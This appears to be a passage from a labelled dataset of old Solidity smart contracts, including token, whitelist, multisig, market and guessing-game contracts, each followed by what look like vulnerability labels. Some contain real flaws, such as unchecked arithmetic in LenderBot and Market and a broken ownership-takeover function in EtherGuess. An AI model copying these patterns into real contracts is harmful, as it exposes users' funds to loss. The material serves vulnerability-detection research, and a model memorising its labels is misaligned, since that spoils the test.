}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract WhiteList is Ownable {
mapping (address => bool) public whiteListed;
address[] public investors;
address[] public contracts;
event WhiteListed(address addr, bool status);
modifier areWhiteListed(address[] addrs) {
for (uint i=0; i<addrs.length; i++) {
if (!whiteListed[addrs[i]] || addrs[i] == 0)
revert();
}
_;
}
modifier areNotWhiteListed(address[] addrs) {
for (uint i=0; i<addrs.length; i++) {
if (whiteListed[addrs[i]] || addrs[i] == 0)
revert();
}
_;
}
function WhiteList(address[] addrs) public {
for (uint i=0; i<addrs.length; i++) {
if(isContract(addrs[i])){
contracts.push(addrs[i]);
} else {
investors.push(addrs[i]);
}
if (whiteListed[addrs[i]] || addrs[i] == 0) {
revert();
}
whiteListed[addrs[i]] = true;
}
}
function addAddress(address[] addrs) public onlyOwner areNotWhiteListed(addrs) {
for (uint i=0; i<addrs.length; i++) {
whiteListed[addrs[i]] = true;
if(isContract(addrs[i])){
contracts.push(addrs[i]);
} else {
investors.push(addrs[i]);
}
WhiteListed(addrs[i], true);
}
}
function removeAddress(address addr) public onlyOwner {
require(whiteListed[addr]);
if (isContract(addr)) {
for (uint i=0; i<contracts.length - 1; i++) {
if (contracts[i] == addr) {
contracts[i] = contracts[contracts.length - 1];
break;
}
}
contracts.length -= 1;
} else {
for (uint j=0; j<investors.length - 1; j++) {
if (investors[j] == addr) {
investors[j] = investors[investors.length - 1];
break;
}
}
investors.length -= 1;
}
whiteListed[addr] = false;
WhiteListed(addr, false);
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function getInvestors() public constant returns (address[]) {
return investors;
}
function getContracts() public constant returns (address[]) {
return contracts;
}
function isWhiteListed(address addr) public constant returns (bool) {
return whiteListed[addr];
}
}
contract MultiSigWallet {
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
revert();
_;
}
modifier onlyOwner() {
if(!isOwner[msg.sender])
revert();
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
revert();
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
revert();
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
revert();
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
revert();
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
revert();
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
revert();
_;
}
modifier notNull(address _address) {
if (_address == 0)
revert();
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
revert();
_;
}
function() public payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
revert();
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
transactions[transactionId].executed = true;
if (transactions[transactionId].destination.call.value(transactions[transactionId].value)(transactions[transactionId].data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
transactions[transactionId].executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
contract Market is TokenController, MultiSigWallet {
uint public totalTokenCollected;
MiniMeToken public tokenContract;
WhiteList public MyWhiteList;
uint public basePrice;
uint public marketCap;
uint public startFundingTime;
uint public endFundingTime;
uint public constant DURATION = 21600;
modifier beforeStart {
require(!saleStarted());
_;
}
modifier inProgress {
require(saleStarted() && ! saleEnded());
_;
}
function saleStarted() public constant returns (bool) {
return (startFundingTime > 0 && now >= startFundingTime);
}
function saleEnded() public constant returns (bool) {
return now >= endFundingTime;
}
function Market(
address _whiteListAddress,
address _tokenAddress,
address[] _owners,
uint _required
) public MultiSigWallet(_owners, _required) {
MyWhiteList = WhiteList(_whiteListAddress);
tokenContract = MiniMeToken(_tokenAddress);
}
function startAndSetParams(uint _basePrice, uint _marketCap) onlyWallet beforeStart public {
basePrice = _basePrice;
marketCap = _marketCap;
startFundingTime = now;
endFundingTime = startFundingTime + DURATION;
}
function onTransfer(address _from, address _to, uint _amount) public returns(bool) {
require (MyWhiteList.isWhiteListed(_from));
require (MyWhiteList.isWhiteListed(_to));
if(address(this) == _to) {
uint ethAmount = computeEtherAmount(_amount);
require(this.balance > ethAmount);
totalTokenCollected = totalTokenCollected + _amount;
_from.transfer(ethAmount);
}
return true;
}
function onApprove(address _owner, address _spender, uint) public returns(bool) {
require (MyWhiteList.isWhiteListed(_owner));
require (MyWhiteList.isWhiteListed(_spender));
return true;
}
function deposit() public onlyOwner payable {
if (msg.value > 0) {
Deposit(msg.sender, msg.value);
}
}
function() public payable {
require (MyWhiteList.isWhiteListed(msg.sender));
doPayment(msg.sender);
}
function proxyPayment(address _owner) public payable returns(bool) {
require (MyWhiteList.isWhiteListed(_owner));
doPayment(_owner);
return true;
}
function doPayment(address _owner) inProgress internal {
require((tokenContract.controller() != 0) && (msg.value != 0));
uint tokenAmount = computeTokenAmount(msg.value);
uint generateTokenAmount = tokenAmount - totalTokenCollected;
uint currentSupply = tokenContract.totalSupply();
require(currentSupply + generateTokenAmount <= marketCap);
if (tokenAmount >= totalTokenCollected) {
if(totalTokenCollected !=0) {
tokenContract.transfer(_owner, totalTokenCollected);
totalTokenCollected = 0;
}
require(tokenContract.generateTokens(_owner, generateTokenAmount));
} else {
tokenContract.transfer(_owner, tokenAmount);
totalTokenCollected = totalTokenCollected - tokenAmount;
}
return;
}
function updateBasePriceAndMarketCap(uint _basePrice, uint _marketCap) onlyWallet public {
basePrice = _basePrice;
marketCap = _marketCap;
}
function computeTokenAmount(uint ethAmount) view internal returns (uint tokens) {
tokens = ethAmount * basePrice;
}
function computeEtherAmount(uint tokenAmount) view internal returns (uint eth) {
eth = tokenAmount / basePrice;
}
} | 1 | 3,575 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract InfluToken {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 0;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function InfluToken() public {
totalSupply = 1500000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "Influ Token";
symbol = "INTO";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] = balanceOf[_from].sub(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_from, _value);
return true;
}
} | 1 | 3,117 |
pragma solidity ^0.4.19;
contract ForeignToken {
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract LenderBot is ERC20 {
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply = 100000000 * 10**8;
function name() public pure returns (string) { return "LenderBot"; }
function symbol() public pure returns (string) { return "Chips"; }
function decimals() public pure returns (uint8) { return 8; }
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event DistrFinished();
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
function LenderBot() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function getEthBalance(address _addr) constant public returns(uint) {
return _addr.balance;
}
function distributeLenderBot(address[] addresses, uint256 _value, uint256 _ethbal) onlyOwner canDistr public {
for (uint i = 0; i < addresses.length; i++) {
if (getEthBalance(addresses[i]) < _ethbal) {
continue;
}
balances[owner] -= _value;
balances[addresses[i]] += _value;
Transfer(owner, addresses[i], _value);
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function finishDistribution() onlyOwner public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function withdrawForeignTokens(address _tokenContract) public returns (bool) {
require(msg.sender == owner);
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 2,393 |
pragma solidity ^0.4.16;
contract EtherGuess {
bool private running;
bytes32 public pauseReason;
uint public totalPayout;
int public numberOfGuesses;
uint public currentRound;
uint public totalPayedOut;
uint8 public adminPayout;
uint public lastFinish;
uint public minimumValue;
address public admin;
address public bot;
mapping (address => uint) public winners;
mapping (int => GuessInfo) public guesses;
mapping (uint8 => bool) public closedHour;
uint constant NEGLECTGUESSTIMER = 5 days;
uint constant NEGLECTOWNERTIMER = 30 days;
uint constant ADMINPAYOUTDENOMINATOR = 100;
function EtherGuess() public {
minimumValue = 5 finney;
admin = msg.sender;
bot = msg.sender;
adminPayout = 10;
running = true;
closedHour[23] = true;
closedHour[0] = true;
currentRound = 1;
lastFinish = now;
}
struct GuessInfo {
address owner;
uint value;
uint round;
}
function setOpenCloseHour(uint8 hour, bool closed) onlyAdmin public {
closedHour[hour] = closed;
}
function setAdminPayout(uint8 newAdminPayout) onlyAdmin public {
require(newAdminPayout <= 10);
adminPayout = newAdminPayout;
}
function setBotAddress(address newBot) onlyAdmin public {
bot = newBot;
}
event Withdraw(
address indexed _payto,
uint _value
);
event Winner(
address indexed _payto,
uint indexed _round,
uint _value,
int _price,
string _priceInfo
);
event NoWinner(
address indexed _admin,
uint indexed _round,
int _price,
string _priceInfo
);
event Refund(
address indexed _payto,
uint indexed _round,
uint _value,
int _guess
);
event Neglect(
address indexed _payto,
uint indexed _round,
uint _value,
int _guess
);
event Guess(
address indexed _from,
uint indexed _round,
int _numberOfGuesses,
int _guess,
uint _value
);
modifier onlyAdmin {
require(msg.sender == admin);
_;
}
modifier adminOrBot {
require(msg.sender == bot || msg.sender == admin);
_;
}
modifier isOpen {
require(!closedHour[uint8((now / 60 / 60) % 24)] && running);
_;
}
function () public payable {
}
function isGuessesOpen() public view returns (bool, bytes32) {
bool open = true;
bytes32 answer = "";
if (closedHour[uint8((now / 60 / 60) % 24)]){
open = false;
answer = "Hours";
}
if (!running) {
open = running;
answer = pauseReason;
}
return (open, answer);
}
function getWinnings() public {
require(winners[msg.sender]>0);
uint value = winners[msg.sender];
winners[msg.sender] = 0;
totalPayout = subToZero(totalPayout,value);
Withdraw(msg.sender,value);
msg.sender.transfer(value);
}
function addGuess(int guess) public payable isOpen {
uint oldRound = guesses[guess].round;
uint oldValue = guesses[guess].value;
uint testValue;
if (oldRound < currentRound) {
testValue = minimumValue;
} else {
testValue = oldValue + minimumValue;
}
require(testValue == msg.value);
if (oldRound == currentRound) {
totalPayout += oldValue;
address oldOwner = guesses[guess].owner;
winners[oldOwner] += oldValue;
Refund(oldOwner, currentRound, oldValue, guess);
guesses[guess].owner = msg.sender;
guesses[guess].value = msg.value;
} else {
GuessInfo memory gi = GuessInfo(msg.sender, msg.value, currentRound);
guesses[guess] = gi;
}
numberOfGuesses++;
Guess(msg.sender, currentRound, numberOfGuesses, guess, msg.value);
}
function addGuessWithRefund(int guess) public payable isOpen {
uint oldRound = guesses[guess].round;
uint oldValue = guesses[guess].value;
uint testValue;
if (oldRound < currentRound) {
testValue = minimumValue;
} else {
testValue = oldValue + minimumValue;
}
require(winners[msg.sender] >= testValue);
if (oldRound == currentRound) {
totalPayout += oldValue;
address oldOwner = guesses[guess].owner;
winners[oldOwner] += oldValue;
Refund(oldOwner, currentRound, oldValue, guess);
guesses[guess].owner = msg.sender;
guesses[guess].value = testValue;
winners[msg.sender] -= testValue;
} else {
GuessInfo memory gi = GuessInfo(msg.sender, testValue, currentRound);
guesses[guess] = gi;
winners[msg.sender] -= testValue;
}
numberOfGuesses++;
Guess(msg.sender, currentRound, numberOfGuesses, guess, testValue);
}
function multiGuess(int[] multiGuesses) public payable isOpen {
require(multiGuesses.length > 1 && multiGuesses.length <= 20);
uint valueLeft = msg.value;
for (uint i = 0; i < multiGuesses.length; i++) {
if (valueLeft > 0) {
uint newValue = minimumValue;
if (guesses[multiGuesses[i]].round == currentRound) {
uint oldValue = guesses[multiGuesses[i]].value;
totalPayout += oldValue;
address oldOwner = guesses[multiGuesses[i]].owner;
winners[oldOwner] += oldValue;
Refund(oldOwner, currentRound, oldValue, multiGuesses[i]);
newValue = oldValue + minimumValue;
}
valueLeft = subToZero(valueLeft,newValue);
GuessInfo memory gi = GuessInfo(msg.sender, newValue, currentRound);
guesses[multiGuesses[i]] = gi;
Guess(msg.sender, currentRound, ++numberOfGuesses, multiGuesses[i], newValue);
}
}
if (valueLeft > 0) {
Refund(msg.sender, currentRound, valueLeft, -1);
winners[msg.sender] += valueLeft;
}
}
function pauseResumeContract(bool state, bytes32 reason) public onlyAdmin {
pauseReason = reason;
running = state;
lastFinish = now;
}
function subToZero(uint a, uint b) pure internal returns (uint) {
if (b > a) {
return 0;
} else {
return a - b;
}
}
function finishUpRound(int price, string priceInfo) public adminOrBot {
if (guesses[price].round == currentRound && guesses[price].value > 0) {
uint finalTotalPayout = this.balance - totalPayout;
uint finalAdminPayout = (finalTotalPayout * adminPayout) / ADMINPAYOUTDENOMINATOR;
uint finalPlayerPayout = finalTotalPayout - finalAdminPayout;
Winner(guesses[price].owner, currentRound, finalPlayerPayout, price, priceInfo);
totalPayout += finalTotalPayout;
totalPayedOut += finalPlayerPayout;
winners[guesses[price].owner] += finalPlayerPayout;
winners[admin] += finalAdminPayout;
numberOfGuesses = 0;
currentRound++;
} else {
NoWinner(msg.sender, currentRound, price, priceInfo);
}
lastFinish = now;
}
function neglectGuess(int guess) public {
require(lastFinish + NEGLECTGUESSTIMER < now);
require(guesses[guess].owner == msg.sender && guesses[guess].round == currentRound);
guesses[guess].round = 0;
numberOfGuesses -= 1;
Neglect(msg.sender, currentRound, guesses[guess].value, guess);
msg.sender.transfer(guesses[guess].value);
}
function neglectOwner() public {
require(lastFinish + NEGLECTOWNERTIMER < now);
lastFinish = now;
admin = msg.sender;
winners[msg.sender] += winners[admin];
winners[admin] = 0;
}
} | 0 | 523 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
